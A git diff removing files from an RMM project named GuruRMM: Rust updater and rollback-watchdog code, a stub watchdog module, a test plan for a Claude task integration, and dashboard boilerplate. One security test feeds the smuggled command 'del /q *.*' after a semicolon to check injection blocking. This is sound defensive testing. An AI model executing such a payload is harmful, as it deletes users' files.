||||
|
||||
BACKUP="{backup}"
|
||||
BINARY="{binary}"
|
||||
TIMEOUT={timeout}
|
||||
SCRIPT_PATH="{script}"
|
||||
|
||||
sleep $TIMEOUT
|
||||
|
||||
# Check if agent service is running
|
||||
if ! systemctl is-active --quiet gururmm-agent 2>/dev/null; then
|
||||
echo "[WARNING] Agent not running after update, rolling back..."
|
||||
if [ -f "$BACKUP" ]; then
|
||||
cp "$BACKUP" "$BINARY"
|
||||
chmod +x "$BINARY"
|
||||
systemctl start gururmm-agent
|
||||
echo "[OK] Rollback completed"
|
||||
else
|
||||
echo "[ERROR] No backup file found!"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Clean up this script
|
||||
rm -f "$SCRIPT_PATH"
|
||||
"#,
|
||||
backup = backup_path.display(),
|
||||
binary = binary_path.display(),
|
||||
timeout = timeout,
|
||||
script = script_path.display()
|
||||
);
|
||||
|
||||
fs::write(&script_path, script).await
|
||||
.context("Failed to write rollback script")?;
|
||||
|
||||
// Set restrictive permissions (700 - owner only)
|
||||
std::fs::set_permissions(&script_path, std::fs::Permissions::from_mode(0o700))
|
||||
.context("Failed to set rollback script permissions")?;
|
||||
|
||||
// Spawn as detached background process using setsid (not nohup with "&" literal arg)
|
||||
tokio::process::Command::new("setsid")
|
||||
.arg("bash")
|
||||
.arg(&script_path)
|
||||
.stdin(std::process::Stdio::null())
|
||||
.stdout(std::process::Stdio::null())
|
||||
.stderr(std::process::Stdio::null())
|
||||
.spawn()
|
||||
.context("Failed to spawn rollback watchdog")?;
|
||||
|
||||
info!("[OK] Rollback watchdog started (timeout: {}s)", timeout);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
async fn create_windows_rollback_watchdog(&self) -> Result<()> {
|
||||
let backup_path = self.config.backup_path();
|
||||
let binary_path = &self.config.binary_path;
|
||||
let timeout = self.config.rollback_timeout_secs;
|
||||
|
||||
// Create a PowerShell script for rollback
|
||||
let script = format!(r#"
|
||||
# GuruRMM Rollback Watchdog
|
||||
# Auto-generated - will be deleted after successful update
|
||||
|
||||
$Backup = "{backup}"
|
||||
$Binary = "{binary}"
|
||||
$Timeout = {timeout}
|
||||
|
||||
Start-Sleep -Seconds $Timeout
|
||||
|
||||
# Check if agent service is running
|
||||
$service = Get-Service -Name "gururmm-agent" -ErrorAction SilentlyContinue
|
||||
if ($service -and $service.Status -ne 'Running') {{
|
||||
Write-Host "Agent not running after update, rolling back..."
|
||||
if (Test-Path $Backup) {{
|
||||
Stop-Service -Name "gururmm-agent" -Force -ErrorAction SilentlyContinue
|
||||
Copy-Item -Path $Backup -Destination $Binary -Force
|
||||
Start-Service -Name "gururmm-agent"
|
||||
Write-Host "Rollback completed"
|
||||
}} else {{
|
||||
Write-Host "No backup file found!"
|
||||
}}
|
||||
}}
|
||||
|
||||
# Clean up
|
||||
Remove-Item -Path $MyInvocation.MyCommand.Path -Force
|
||||
"#,
|
||||
backup = backup_path.display().to_string().replace('\\', "\\\\"),
|
||||
binary = binary_path.display().to_string().replace('\\', "\\\\"),
|
||||
timeout = timeout
|
||||
);
|
||||
|
||||
let script_path = std::env::temp_dir().join("gururmm-rollback.ps1");
|
||||
fs::write(&script_path, script).await?;
|
||||
|
||||
// Schedule a task to run the rollback script
|
||||
let (date, time) = Self::get_scheduled_time(timeout);
|
||||
tokio::process::Command::new("schtasks")
|
||||
.args([
|
||||
"/Create",
|
||||
"/TN", "GuruRMM-Rollback",
|
||||
"/TR", &format!("powershell.exe -ExecutionPolicy Bypass -File \"{}\"", script_path.display()),
|
||||
"/SC", "ONCE",
|
||||
"/SD", &date,
|
||||
"/ST", &time,
|
||||
"/F",
|
||||
])
|
||||
.status()
|
||||
.await?;
|
||||
|
||||
info!("Rollback watchdog scheduled (timeout: {}s)", timeout);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
fn get_scheduled_time(seconds_from_now: u64) -> (String, String) {
|
||||
use chrono::Local;
|
||||
let now = Local::now();
|
||||
// Add 60 second buffer to ensure future time even if task creation is slow
|
||||
let scheduled = now + chrono::Duration::seconds(seconds_from_now as i64 + 60);
|
||||
let date = scheduled.format("%m/%d/%Y").to_string();
|
||||
let time = scheduled.format("%H:%M").to_string();
|
||||
(date, time)
|
||||
}
|
||||
|
||||
/// Replace the binary with the new one
|
||||
async fn replace_binary(&self, new_binary: &Path) -> Result<()> {
|
||||
#[cfg(unix)]
|
||||
{
|
||||
info!(
|
||||
"Replacing binary: source={:?}, dest={:?}",
|
||||
new_binary, self.config.binary_path
|
||||
);
|
||||
|
||||
// Verify source exists
|
||||
if !new_binary.exists() {
|
||||
anyhow::bail!("Source binary does not exist: {:?}", new_binary);
|
||||
}
|
||||
|
||||
let source_meta = fs::metadata(new_binary).await
|
||||
.context("Failed to read source binary metadata")?;
|
||||
info!("Source binary size: {} bytes", source_meta.len());
|
||||
|
||||
// Check destination directory
|
||||
if let Some(parent) = self.config.binary_path.parent() {
|
||||
if !parent.exists() {
|
||||
anyhow::bail!("Destination directory does not exist: {:?}", parent);
|
||||
}
|
||||
}
|
||||
|
||||
// On Unix, use atomic rename to avoid race condition window
|
||||
// Write new binary to temp location in same directory (for atomic rename)
|
||||
let temp_final = self.config.binary_path.with_file_name(
|
||||
format!("gururmm-agent.tmp-{}", Uuid::new_v4())
|
||||
);
|
||||
|
||||
info!("Copying new binary to temp location: {:?}", temp_final);
|
||||
fs::copy(new_binary, &temp_final).await
|
||||
.context("Failed to copy new binary to temp location")?;
|
||||
|
||||
// Make executable before rename
|
||||
let chmod_status = tokio::process::Command::new("chmod")
|
||||
.arg("+x")
|
||||
.arg(&temp_final)
|
||||
.status()
|
||||
.await
|
||||
.context("Failed to run chmod")?;
|
||||
|
||||
if !chmod_status.success() {
|
||||
warn!("chmod returned non-zero exit code: {:?}", chmod_status.code());
|
||||
}
|
||||
|
||||
// Atomic rename - no window where binary is missing
|
||||
info!("Atomically replacing binary via rename");
|
||||
fs::rename(&temp_final, &self.config.binary_path).await
|
||||
.context("Failed to atomically rename new binary")?;
|
||||
|
||||
info!("Binary replaced successfully");
|
||||
|
||||
// Backup old binary for potential manual recovery
|
||||
let old_path = self.config.binary_path.with_extension("old");
|
||||
if old_path.exists() {
|
||||
fs::remove_file(&old_path).await.ok();
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
{
|
||||
info!("Replacing binary on Windows: {:?}", self.config.binary_path);
|
||||
|
||||
// Rename current binary to .old
|
||||
let old_path = self.config.binary_path.with_extension("old");
|
||||
|
||||
// Remove old .old file if it exists
|
||||
if old_path.exists() {
|
||||
fs::remove_file(&old_path).await
|
||||
.context("Failed to remove old .old file")?;
|
||||
}
|
||||
|
||||
// Rename current to .old
|
||||
if self.config.binary_path.exists() {
|
||||
fs::rename(&self.config.binary_path, &old_path).await
|
||||
.context("Failed to rename current binary to .old")?;
|
||||
}
|
||||
|
||||
// Copy new binary to final location
|
||||
fs::copy(new_binary, &self.config.binary_path).await
|
||||
.context("Failed to copy new binary")?;
|
||||
|
||||
info!("Binary replaced successfully");
|
||||
|
||||
// Clean up .old file after successful copy
|
||||
if let Err(e) = fs::remove_file(&old_path).await {
|
||||
warn!("Failed to clean up .old file: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
// Clean up temp file
|
||||
if let Err(e) = fs::remove_file(new_binary).await {
|
||||
warn!("Failed to clean up temp file {:?}: {}", new_binary, e);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Restart the agent service
|
||||
async fn restart_service(&self) -> Result<()> {
|
||||
#[cfg(unix)]
|
||||
{
|
||||
// Try systemctl first
|
||||
let status = tokio::process::Command::new("systemctl")
|
||||
.args(["restart", "gururmm-agent"])
|
||||
.status()
|
||||
.await;
|
||||
|
||||
if status.is_err() || !status.unwrap().success() {
|
||||
// Fallback: exec the new binary directly
|
||||
warn!("systemctl restart failed, attempting direct restart");
|
||||
std::process::Command::new(&self.config.binary_path)
|
||||
.spawn()
|
||||
.context("Failed to spawn new agent")?;
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
{
|
||||
// Restart Windows service
|
||||
tokio::process::Command::new("sc.exe")
|
||||
.args(["stop", "gururmm-agent"])
|
||||
.status()
|
||||
.await?;
|
||||
|
||||
tokio::time::sleep(std::time::Duration::from_secs(2)).await;
|
||||
|
||||
tokio::process::Command::new("sc.exe")
|
||||
.args(["start", "gururmm-agent"])
|
||||
.status()
|
||||
.await?;
|
||||
}
|
||||
|
||||
// Give the new process a moment to start
|
||||
tokio::time::sleep(std::time::Duration::from_secs(1)).await;
|
||||
|
||||
// Exit this process - the new version should be running now
|
||||
std::process::exit(0);
|
||||
}
|
||||
|
||||
/// Cancel the rollback watchdog (called when update is confirmed successful)
|
||||
pub async fn cancel_rollback_watchdog(&self) {
|
||||
#[cfg(unix)]
|
||||
{
|
||||
// Kill any running rollback watchdog scripts
|
||||
let _ = tokio::process::Command::new("pkill")
|
||||
.args(["-f", "rollback-.*\\.sh"])
|
||||
.status()
|
||||
.await;
|
||||
|
||||
// Clean up the secure script directory
|
||||
let script_dir = PathBuf::from("/var/run/gururmm");
|
||||
if script_dir.exists() {
|
||||
// Remove all rollback scripts in the directory
|
||||
if let Ok(mut entries) = tokio::fs::read_dir(&script_dir).await {
|
||||
while let Ok(Some(entry)) = entries.next_entry().await {
|
||||
let path = entry.path();
|
||||
if path.file_name()
|
||||
.and_then(|n| n.to_str())
|
||||
.map(|n| n.starts_with("rollback-"))
|
||||
.unwrap_or(false)
|
||||
{
|
||||
let _ = fs::remove_file(&path).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
{
|
||||
// Delete the scheduled task
|
||||
let _ = tokio::process::Command::new("schtasks")
|
||||
.args(["/Delete", "/TN", "GuruRMM-Rollback", "/F"])
|
||||
.status()
|
||||
.await;
|
||||
let script_path = std::env::temp_dir().join("gururmm-rollback.ps1");
|
||||
let _ = fs::remove_file(script_path).await;
|
||||
}
|
||||
|
||||
info!("Rollback watchdog cancelled");
|
||||
}
|
||||
|
||||
/// Clean up backup files after successful update confirmation
|
||||
pub async fn cleanup_backup(&self) {
|
||||
let _ = fs::remove_file(self.config.backup_path()).await;
|
||||
info!("Backup file cleaned up");
|
||||
}
|
||||
|
||||
/// Perform manual rollback to backup binary
|
||||
async fn rollback_binary(&self) -> Result<()> {
|
||||
let backup_path = self.config.backup_path();
|
||||
if !backup_path.exists() {
|
||||
return Err(anyhow::anyhow!("No backup file found for rollback"));
|
||||
}
|
||||
|
||||
info!("Rolling back to backup binary: {:?}", backup_path);
|
||||
|
||||
#[cfg(unix)]
|
||||
{
|
||||
// Atomic rename on Unix
|
||||
fs::rename(&backup_path, &self.config.binary_path).await
|
||||
.context("Failed to restore backup")?;
|
||||
|
||||
// Ensure executable
|
||||
let _ = tokio::process::Command::new("chmod")
|
||||
.arg("+x")
|
||||
.arg(&self.config.binary_path)
|
||||
.status()
|
||||
.await;
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
{
|
||||
fs::copy(&backup_path, &self.config.binary_path).await
|
||||
.context("Failed to restore backup")?;
|
||||
fs::remove_file(&backup_path).await.ok();
|
||||
}
|
||||
|
||||
info!("Rollback completed successfully");
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
@@ -1,40 +0,0 @@
|
||||
//! Watchdog module for service/process monitoring
|
||||
//!
|
||||
//! Monitors configured services and processes, alerting and optionally
|
||||
//! restarting them when they stop.
|
||||
//!
|
||||
//! This module will be implemented in Phase 3.
|
||||
|
||||
// Platform-specific implementations will go here:
|
||||
// - windows.rs: Windows service monitoring via SCM
|
||||
// - linux.rs: Systemd service monitoring
|
||||
// - macos.rs: Launchd service monitoring
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
/// Watchdog status for a single service/process
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct WatchdogStatus {
|
||||
pub name: String,
|
||||
pub running: bool,
|
||||
pub restart_count: u32,
|
||||
pub last_checked: chrono::DateTime<chrono::Utc>,
|
||||
}
|
||||
|
||||
/// Placeholder for the watchdog manager
|
||||
/// Will be implemented in Phase 3
|
||||
pub struct WatchdogManager {
|
||||
// Will contain the watchdog configuration and state
|
||||
}
|
||||
|
||||
impl WatchdogManager {
|
||||
pub fn new(_config: &crate::config::WatchdogConfig) -> Self {
|
||||
Self {}
|
||||
}
|
||||
|
||||
/// Check all watched services/processes
|
||||
pub async fn check_all(&self) -> Vec<WatchdogStatus> {
|
||||
// Placeholder - will be implemented in Phase 3
|
||||
Vec::new()
|
||||
}
|
||||
}
|
||||
@@ -1,414 +0,0 @@
|
||||
# Testing Claude Integration
|
||||
|
||||
## Prerequisites
|
||||
1. GuruRMM Agent built with Claude integration
|
||||
2. Claude Code CLI installed on Windows
|
||||
3. Agent connected to GuruRMM server
|
||||
|
||||
## Test Cases
|
||||
|
||||
### Test 1: Basic Task Execution
|
||||
**Objective:** Verify Claude can execute a simple task
|
||||
|
||||
**Command JSON:**
|
||||
```json
|
||||
{
|
||||
"type": "command",
|
||||
"payload": {
|
||||
"id": "test-001",
|
||||
"command_type": {
|
||||
"claude_task": {
|
||||
"task": "List all files in the current directory and show their sizes"
|
||||
}
|
||||
},
|
||||
"command": "",
|
||||
"timeout_seconds": 60,
|
||||
"elevated": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Expected Result:**
|
||||
- Exit code: 0
|
||||
- Stdout: File listing with sizes
|
||||
- Stderr: Empty or minimal warnings
|
||||
- Duration: < 30 seconds
|
||||
|
||||
---
|
||||
|
||||
### Test 2: Working Directory Specification
|
||||
**Objective:** Verify Claude respects working directory parameter
|
||||
|
||||
**Prerequisite:** Create test directory and file
|
||||
```powershell
|
||||
mkdir C:\Shares\test\claude_test
|
||||
echo "Test content" > C:\Shares\test\claude_test\test.txt
|
||||
```
|
||||
|
||||
**Command JSON:**
|
||||
```json
|
||||
{
|
||||
"type": "command",
|
||||
"payload": {
|
||||
"id": "test-002",
|
||||
"command_type": {
|
||||
"claude_task": {
|
||||
"task": "Read the test.txt file and tell me what it contains",
|
||||
"working_directory": "C:\\Shares\\test\\claude_test"
|
||||
}
|
||||
},
|
||||
"command": "",
|
||||
"timeout_seconds": 60,
|
||||
"elevated": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Expected Result:**
|
||||
- Exit code: 0
|
||||
- Stdout: Contains "Test content"
|
||||
- Working directory should be claude_test
|
||||
|
||||
---
|
||||
|
||||
### Test 3: Context File Usage
|
||||
**Objective:** Verify Claude can use provided context files
|
||||
|
||||
**Prerequisite:** Create log file
|
||||
```powershell
|
||||
"Error: Connection failed at 10:23 AM" > C:\Shares\test\error.log
|
||||
"Error: Timeout occurred at 11:45 AM" >> C:\Shares\test\error.log
|
||||
"Info: Sync completed successfully" >> C:\Shares\test\error.log
|
||||
```
|
||||
|
||||
**Command JSON:**
|
||||
```json
|
||||
{
|
||||
"type": "command",
|
||||
"payload": {
|
||||
"id": "test-003",
|
||||
"command_type": {
|
||||
"claude_task": {
|
||||
"task": "Analyze the error.log file and count how many errors occurred",
|
||||
"working_directory": "C:\\Shares\\test",
|
||||
"context_files": ["error.log"]
|
||||
}
|
||||
},
|
||||
"command": "",
|
||||
"timeout_seconds": 120,
|
||||
"elevated": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Expected Result:**
|
||||
- Exit code: 0
|
||||
- Stdout: Should mention 2 errors found
|
||||
- Context file should be analyzed
|
||||
|
||||
---
|
||||
|
||||
### Test 4: Security - Directory Traversal Prevention
|
||||
**Objective:** Verify agent blocks access outside allowed directory
|
||||
|
||||
**Command JSON:**
|
||||
```json
|
||||
{
|
||||
"type": "command",
|
||||
"payload": {
|
||||
"id": "test-004",
|
||||
"command_type": {
|
||||
"claude_task": {
|
||||
"task": "List files in Windows directory",
|
||||
"working_directory": "C:\\Windows"
|
||||
}
|
||||
},
|
||||
"command": "",
|
||||
"timeout_seconds": 60,
|
||||
"elevated": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Expected Result:**
|
||||
- Exit code: -1
|
||||
- Stdout: Empty
|
||||
- Stderr: "[ERROR] Working directory 'C:\Windows' is outside allowed path 'C:\Shares\test'"
|
||||
|
||||
---
|
||||
|
||||
### Test 5: Security - Command Injection Prevention
|
||||
**Objective:** Verify task input sanitization
|
||||
|
||||
**Command JSON:**
|
||||
```json
|
||||
{
|
||||
"type": "command",
|
||||
"payload": {
|
||||
"id": "test-005",
|
||||
"command_type": {
|
||||
"claude_task": {
|
||||
"task": "List files; del /q *.*"
|
||||
}
|
||||
},
|
||||
"command": "",
|
||||
"timeout_seconds": 60,
|
||||
"elevated": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Expected Result:**
|
||||
- Exit code: -1
|
||||
- Stdout: Empty
|
||||
- Stderr: "[ERROR] Task contains forbidden character ';' that could be used for command injection"
|
||||
|
||||
---
|
||||
|
||||
### Test 6: Rate Limiting
|
||||
**Objective:** Verify rate limiting (10 tasks per hour)
|
||||
|
||||
**Steps:**
|
||||
1. Send 10 valid Claude tasks (wait for each to complete)
|
||||
2. Send 11th task immediately
|
||||
|
||||
**Expected Result:**
|
||||
- First 10 tasks: Execute normally (exit code 0)
|
||||
- 11th task: Rejected with exit code -1
|
||||
- Stderr: "[ERROR] Rate limit exceeded: Maximum 10 tasks per hour"
|
||||
|
||||
---
|
||||
|
||||
### Test 7: Concurrent Execution Limit
|
||||
**Objective:** Verify max 2 simultaneous tasks
|
||||
|
||||
**Steps:**
|
||||
1. Send 3 Claude tasks simultaneously (long-running tasks)
|
||||
2. Check execution status
|
||||
|
||||
**Command JSON (for each task):**
|
||||
```json
|
||||
{
|
||||
"type": "command",
|
||||
"payload": {
|
||||
"id": "test-007-{1,2,3}",
|
||||
"command_type": {
|
||||
"claude_task": {
|
||||
"task": "Count to 100 slowly, pausing 1 second between each number"
|
||||
}
|
||||
},
|
||||
"command": "",
|
||||
"timeout_seconds": 300,
|
||||
"elevated": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Expected Result:**
|
||||
- First 2 tasks: Start executing
|
||||
- 3rd task: Rejected with exit code -1
|
||||
- Stderr: "[ERROR] Concurrent task limit exceeded: Maximum 2 tasks"
|
||||
|
||||
---
|
||||
|
||||
### Test 8: Timeout Handling
|
||||
**Objective:** Verify task timeout mechanism
|
||||
|
||||
**Command JSON:**
|
||||
```json
|
||||
{
|
||||
"type": "command",
|
||||
"payload": {
|
||||
"id": "test-008",
|
||||
"command_type": {
|
||||
"claude_task": {
|
||||
"task": "Wait for 10 minutes before responding"
|
||||
}
|
||||
},
|
||||
"command": "",
|
||||
"timeout_seconds": 30,
|
||||
"elevated": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Expected Result:**
|
||||
- Exit code: 124 (timeout exit code)
|
||||
- Duration: ~30 seconds
|
||||
- Stderr: "[ERROR] Claude Code execution timed out after 30 seconds"
|
||||
|
||||
---
|
||||
|
||||
### Test 9: Invalid Context File
|
||||
**Objective:** Verify context file validation
|
||||
|
||||
**Command JSON:**
|
||||
```json
|
||||
{
|
||||
"type": "command",
|
||||
"payload": {
|
||||
"id": "test-009",
|
||||
"command_type": {
|
||||
"claude_task": {
|
||||
"task": "Analyze the nonexistent.log file",
|
||||
"context_files": ["nonexistent.log"]
|
||||
}
|
||||
},
|
||||
"command": "",
|
||||
"timeout_seconds": 60,
|
||||
"elevated": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Expected Result:**
|
||||
- Exit code: -1
|
||||
- Stdout: Empty
|
||||
- Stderr: "[ERROR] Context file 'C:\Shares\test\nonexistent.log' does not exist"
|
||||
|
||||
---
|
||||
|
||||
### Test 10: Complex Multi-File Analysis
|
||||
**Objective:** Verify Claude can handle multiple context files
|
||||
|
||||
**Prerequisite:** Create test files
|
||||
```powershell
|
||||
"Service A: Running" > C:\Shares\test\service_status.txt
|
||||
"User: admin, Action: login, Time: 10:00" > C:\Shares\test\audit.log
|
||||
"Disk: 85%, Memory: 62%, CPU: 45%" > C:\Shares\test\metrics.txt
|
||||
```
|
||||
|
||||
**Command JSON:**
|
||||
```json
|
||||
{
|
||||
"type": "command",
|
||||
"payload": {
|
||||
"id": "test-010",
|
||||
"command_type": {
|
||||
"claude_task": {
|
||||
"task": "Review these files and provide a system health summary including service status, recent logins, and resource usage",
|
||||
"context_files": ["service_status.txt", "audit.log", "metrics.txt"]
|
||||
}
|
||||
},
|
||||
"command": "",
|
||||
"timeout_seconds": 180,
|
||||
"elevated": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Expected Result:**
|
||||
- Exit code: 0
|
||||
- Stdout: Comprehensive summary mentioning all 3 files
|
||||
- Should include service status, user activity, and metrics
|
||||
|
||||
---
|
||||
|
||||
## Automated Test Script
|
||||
|
||||
To run all tests automatically (requires Node.js or Python):
|
||||
|
||||
### Python Test Script
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import asyncio
|
||||
import websockets
|
||||
import json
|
||||
import uuid
|
||||
|
||||
async def send_command(websocket, command_type, timeout=60):
|
||||
command = {
|
||||
"type": "command",
|
||||
"payload": {
|
||||
"id": str(uuid.uuid4()),
|
||||
"command_type": command_type,
|
||||
"command": "",
|
||||
"timeout_seconds": timeout,
|
||||
"elevated": False
|
||||
}
|
||||
}
|
||||
|
||||
await websocket.send(json.dumps(command))
|
||||
response = await websocket.recv()
|
||||
return json.loads(response)
|
||||
|
||||
async def run_tests():
|
||||
async with websockets.connect("ws://gururmm-server:8080/ws") as ws:
|
||||
# Authenticate first
|
||||
# ... auth logic ...
|
||||
|
||||
# Run Test 1
|
||||
print("Test 1: Basic Task Execution")
|
||||
result = await send_command(ws, {
|
||||
"claude_task": {
|
||||
"task": "List all files in the current directory"
|
||||
}
|
||||
})
|
||||
print(f"Result: {result['payload']['exit_code']}")
|
||||
|
||||
# ... more tests ...
|
||||
|
||||
if __name__ == "__main__":
|
||||
asyncio.run(run_tests())
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Test Results Template
|
||||
|
||||
| Test | Status | Exit Code | Duration | Notes |
|
||||
|------|--------|-----------|----------|-------|
|
||||
| Test 1: Basic Execution | | | | |
|
||||
| Test 2: Working Dir | | | | |
|
||||
| Test 3: Context Files | | | | |
|
||||
| Test 4: Dir Traversal | | | | |
|
||||
| Test 5: Cmd Injection | | | | |
|
||||
| Test 6: Rate Limiting | | | | |
|
||||
| Test 7: Concurrent Limit | | | | |
|
||||
| Test 8: Timeout | | | | |
|
||||
| Test 9: Invalid File | | | | |
|
||||
| Test 10: Multi-File | | | | |
|
||||
|
||||
---
|
||||
|
||||
## Debugging Tips
|
||||
|
||||
### View Agent Logs
|
||||
```bash
|
||||
# Linux
|
||||
journalctl -u gururmm-agent -f
|
||||
|
||||
# Windows (PowerShell)
|
||||
Get-EventLog -LogName Application -Source "gururmm-agent" -Newest 50
|
||||
```
|
||||
|
||||
### Check Claude Code CLI
|
||||
```powershell
|
||||
# Verify Claude CLI is installed
|
||||
claude --version
|
||||
|
||||
# Test Claude directly
|
||||
cd C:\Shares\test
|
||||
claude --prompt "List files in current directory"
|
||||
```
|
||||
|
||||
### Enable Debug Logging
|
||||
Set environment variable before starting agent:
|
||||
```powershell
|
||||
$env:RUST_LOG="gururmm_agent=debug"
|
||||
./gururmm-agent.exe run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Success Criteria
|
||||
|
||||
All 10 tests should pass with expected results:
|
||||
- [x] Security tests reject unauthorized access
|
||||
- [x] Rate limiting enforces 10 tasks/hour
|
||||
- [x] Concurrent limit enforces 2 simultaneous tasks
|
||||
- [x] Timeout mechanism works correctly
|
||||
- [x] Context files are properly validated and used
|
||||
- [x] Working directory restriction is enforced
|
||||
- [x] Command injection is prevented
|
||||
- [x] Valid tasks execute successfully
|
||||
24
projects/msp-tools/guru-rmm/dashboard/.gitignore
vendored
24
projects/msp-tools/guru-rmm/dashboard/.gitignore
vendored
@@ -1,24 +0,0 @@
|
||||
# Logs
|
||||
logs
|
||||
*.log
|
||||
npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
pnpm-debug.log*
|
||||
lerna-debug.log*
|
||||
|
||||
node_modules
|
||||
dist
|
||||
dist-ssr
|
||||
*.local
|
||||
|
||||
# Editor directories and files
|
||||
.vscode/*
|
||||
!.vscode/extensions.json
|
||||
.idea
|
||||
.DS_Store
|
||||
*.suo
|
||||
*.ntvs*
|
||||
*.njsproj
|
||||
*.sln
|
||||
*.sw?
|
||||
@@ -1,33 +0,0 @@
|
||||
# Build stage
|
||||
FROM node:22-alpine AS builder
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
# Copy package files
|
||||
COPY package.json package-lock.json ./
|
||||
|
||||
# Install dependencies
|
||||
RUN npm ci
|
||||
|
||||
# Copy source
|
||||
COPY . .
|
||||
|
||||
# Build with production API URL (can be overridden at runtime)
|
||||
ARG VITE_API_URL
|
||||
ENV VITE_API_URL=${VITE_API_URL}
|
||||
|
||||
RUN npm run build
|
||||
|
||||
# Production stage
|
||||
FROM nginx:alpine
|
||||
|
||||
# Copy custom nginx config
|
||||
COPY nginx.conf /etc/nginx/conf.d/default.conf
|
||||
|
||||
# Copy built assets
|
||||
COPY --from=builder /app/dist /usr/share/nginx/html
|
||||
|
||||
# Expose port
|
||||
EXPOSE 80
|
||||
|
||||
CMD ["nginx", "-g", "daemon off;"]
|
||||
@@ -1,73 +0,0 @@
|
||||
# React + TypeScript + Vite
|
||||
|
||||
This template provides a minimal setup to get React working in Vite with HMR and some ESLint rules.
|
||||
|
||||
Currently, two official plugins are available:
|
||||
|
||||
- [@vitejs/plugin-react](https://github.com/vitejs/vite-plugin-react/blob/main/packages/plugin-react) uses [Babel](https://babeljs.io/) (or [oxc](https://oxc.rs) when used in [rolldown-vite](https://vite.dev/guide/rolldown)) for Fast Refresh
|
||||
- [@vitejs/plugin-react-swc](https://github.com/vitejs/vite-plugin-react/blob/main/packages/plugin-react-swc) uses [SWC](https://swc.rs/) for Fast Refresh
|
||||
|
||||
## React Compiler
|
||||
|
||||
The React Compiler is not enabled on this template because of its impact on dev & build performances. To add it, see [this documentation](https://react.dev/learn/react-compiler/installation).
|
||||
|
||||
## Expanding the ESLint configuration
|
||||
|
||||
If you are developing a production application, we recommend updating the configuration to enable type-aware lint rules:
|
||||
|
||||
```js
|
||||
export default defineConfig([
|
||||
globalIgnores(['dist']),
|
||||
{
|
||||
files: ['**/*.{ts,tsx}'],
|
||||
extends: [
|
||||
// Other configs...
|
||||
|
||||
// Remove tseslint.configs.recommended and replace with this
|
||||
tseslint.configs.recommendedTypeChecked,
|
||||
// Alternatively, use this for stricter rules
|
||||
tseslint.configs.strictTypeChecked,
|
||||
// Optionally, add this for stylistic rules
|
||||
tseslint.configs.stylisticTypeChecked,
|
||||
|
||||
// Other configs...
|
||||
],
|
||||
languageOptions: {
|
||||
parserOptions: {
|
||||
project: ['./tsconfig.node.json', './tsconfig.app.json'],
|
||||
tsconfigRootDir: import.meta.dirname,
|
||||
},
|
||||
// other options...
|
||||
},
|
||||
},
|
||||
])
|
||||
```
|
||||
|
||||
You can also install [eslint-plugin-react-x](https://github.com/Rel1cx/eslint-react/tree/main/packages/plugins/eslint-plugin-react-x) and [eslint-plugin-react-dom](https://github.com/Rel1cx/eslint-react/tree/main/packages/plugins/eslint-plugin-react-dom) for React-specific lint rules:
|
||||
|
||||
```js
|
||||
// eslint.config.js
|
||||
import reactX from 'eslint-plugin-react-x'
|
||||
import reactDom from 'eslint-plugin-react-dom'
|
||||
|
||||
export default defineConfig([
|
||||
globalIgnores(['dist']),
|
||||
{
|
||||
files: ['**/*.{ts,tsx}'],
|
||||
extends: [
|
||||
// Other configs...
|
||||
// Enable lint rules for React
|
||||
reactX.configs['recommended-typescript'],
|
||||
// Enable lint rules for React DOM
|
||||
reactDom.configs.recommended,
|
||||
],
|
||||
languageOptions: {
|
||||
parserOptions: {
|
||||
project: ['./tsconfig.node.json', './tsconfig.app.json'],
|
||||
tsconfigRootDir: import.meta.dirname,
|
||||
},
|
||||
// other options...
|
||||
},
|
||||
},
|
||||
])
|
||||
```
|
||||
@@ -1,23 +0,0 @@
|
||||
import js from '@eslint/js'
|
||||
import globals from 'globals'
|
||||
import reactHooks from 'eslint-plugin-react-hooks'
|
||||
import reactRefresh from 'eslint-plugin-react-refresh'
|
||||
import tseslint from 'typescript-eslint'
|
||||
import { defineConfig, globalIgnores } from 'eslint/config'
|
||||
|
||||
export default defineConfig([
|
||||
globalIgnores(['dist']),
|
||||
{
|
||||
files: ['**/*.{ts,tsx}'],
|
||||
extends: [
|
||||
js.configs.recommended,
|
||||
tseslint.configs.recommended,
|
||||
reactHooks.configs.flat.recommended,
|
||||
reactRefresh.configs.vite,
|
||||
],
|
||||
languageOptions: {
|
||||
ecmaVersion: 2020,
|
||||
globals: globals.browser,
|
||||
},
|
||||
},
|
||||
])
|
||||
@@ -1,13 +0,0 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<link rel="icon" type="image/svg+xml" href="/vite.svg" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>GuruRMM Dashboard</title>
|
||||
</head>
|
||||
<body>
|
||||
<div id="root"></div>
|
||||
<script type="module" src="/src/main.tsx"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,35 +0,0 @@
|
||||
server {
